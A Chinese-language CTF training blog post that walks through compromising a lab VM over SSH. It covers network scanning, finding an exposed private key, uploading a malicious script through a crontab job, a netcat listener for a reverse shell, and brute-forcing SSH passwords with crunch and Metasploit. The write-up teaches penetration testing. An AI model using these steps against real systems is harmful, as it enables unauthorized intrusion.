CTF训练笔记(二) | 您所在的位置:网站首页 › python提权root › CTF训练笔记(二) |
CTF训练笔记系列 - 快速导航 目录 一、环境搭建1.攻击机2.靶机3.网络配置 二、信息收集三、信息探测1.挖掘开放服务信息2.挖掘隐藏敏感信息2.1直接访问http服务:2.2寻找隐藏起来的后台文件: 3.尝试登录服务器3.1使用wget工具下载刚找到的私钥文件3.2预处理私钥文件3.3尝试登录服务器 4.提权5.获取flag 四、总结 一、环境搭建 1.攻击机VMware环境下的kali linux虚拟机(本次渗透测试使用kali-linux-2020.4-vmware-amd64版本,初始用户名、密码均为:kali) 2.靶机VirtualBox环境下的SSH-渗透root主机.ova虚拟机(链接: https://pan.baidu.com/s/1dM4FKImp_aN5k1yU29hlxg 提取码: sok8) 3.网络配置攻击机与靶机桥接于同一网卡上,便于查找靶机ip地址。【同笔记(一)】 二、信息收集获取靶机ip: 在攻击机的终端中使用“ifconfig”指令获取攻击机的网络地址(此时靶机也在同一网段,因为刚才桥接在了同一网卡上), ifconfig利用得到的ip地址与子网掩码可构造网段:192.168.2.0/24作为参数,使用netdiscover工具搜索同一网段内所有主机(若主机较多则等待时间可能较长), netdiscover -r 192.168.2.0/24
使用sudo指令登录root权限(需输入密码:kali) sudo -s使用nmap工具扫描靶机所有开放端口, nmap -sV 192.168.2.120
Ⅱ.发现靶机开放了80端口的http服务,于是想到: ①尝试直接用浏览器访问靶机开放了http服务的端口; ②使用dirb工具探测http的目录; Ⅲ.发现无特殊端口(1025 - 65535)开放。 2.挖掘隐藏敏感信息 2.1直接访问http服务:浏览器访问http://192.168.2.120:80,得: 使用dirb工具探测此服务的隐藏文件, dirb http://192.168.2.120:80/
这信息量这么大我找flag要找到什么时候去啊?但硬着头皮从头开始仔细阅读才发现: 哦,原来最上层只有三个文件和三个目录,看着吓人的一大堆都是manual目录里的内容,而Apache在manual目录中保存的是Apache服务器的帮助手册文件,这里有flag的可能性较低可以先不去考虑。 Ⅰ.先看看三个文件: 其中index.html就是刚刚看到的网页主界面;而server-status文件既没有权限访问,拒绝界面源代码也没有明显有效信息;但敏感文件robots.txt文件中出现了没有被探测到的文件“/wordpress-blog”, Ⅱ.再看看三个目录里有啥: /file中页面和源码无明显有效信息; /manual中内容过多,若别的地方都没有可用信息再来看; /icons中以各种图标文件为主,非图标文件有三个,其中README与README.html两个文件中无明显有效信息, 重命名为id_rsa(方便打字),修改为600权限(否则私钥不生效,会要求输入密码) mv VDSoyuAXiO.txt id_rsa chmod 600 id_rsa 3.3尝试登录服务器刚才访问的网页主界面出现过3个人名, Ⅰ.试用jimmy用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录; ①使用id指令判断当前用户是否具有root权限(一般情况下,flag文件只允许root用户及其对应的用户组访问), id发现当前使用的martin用户不具有root权限,需要提权。 ③使用cat指令访问crontab文件查看定时任务, cat /etc/crontab
⑤使用rsync指令无密码传输文件 通过私钥id_rsa可绕过密码将攻击者的恶意代码文件上传至靶机,还要在靶机上给代码文件增加可执行权限否则文件可能无法被执行。 rsync -e "ssh -i /home/kali/Desktop/id_rsa" /home/kali/Desktop/sekurity.py [email protected]:/tmp/ chmod +x sekurity.py⑥使用nc指令让攻击机监听对应端口,等待靶机发来的请求 nc -lvp 60000开始监听: ⑦暴力破解root用户的密码 万不得已的情况下,可以考虑暴力破解用户名和密码。常用暴破工具有hydra、medusa、metasploit等,但破解能否成功更重要的是看加载的密码字典是否强大,常用的字典生成工具有cupp、cewl等。 下面以cupp和metasploit为例。 Ⅰ. kali linux中并未集成cupp工具,需要主动下载。 可以使用git指令下载cupp工具,并赋予cupp.py文件可执行权限,随后可以开始以交互的方式创建字典。 git clone https://github.com/jeanphorn/common-password.git chmod +x cupp.py // "./"表示当前目录,"../"表示父目录,既可以用./也可用python执行.py文件 ./cupp.py -i
Name:hadi (其余选项直接回车跳过) Do you want to add some random numbers at the end of words? Y/[N] Y (其余选项直接回车跳过) 生成好的字典文件存放在/common-password目录下。 Ⅱ. //在终端中打开metasplooit工具 msfconsole //选择模式,设置参数 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.2.120 //靶机ip set username hadi //用户名 set pass_file /home/kali/Downloads/common-password/hadi.txt //加载密码字典文件 set threads 10 //线程数量 set verbose true //实时反馈 //运行 run
Ⅲ. 暴力破解结束,cupp工具生成的字典中并没有正确密码。于是经过烦死人的、掉光头发的多次尝试生成各种字典文件,终于“碰巧”成功使用crunch工具生成了包含正确密码的字典: crunch 7 7 -t hadi%%% >>pass_2.txt
⑧拿到具有root权限的shell 建立会话1用于访问靶机中hadi用户的shell: sessions -i 1结果: 结果: 结果: 一般情况下,ctf比赛中flag文件在root目录下。 在对SSH服务的渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶机,偶尔可能还需要暴力破解密码。 CTF中要特别注意: /tmp 数据缓存目录 /etc/crontab 定时任务文件 |
CopyRight 2018-2019 实验室设备网 版权所有 |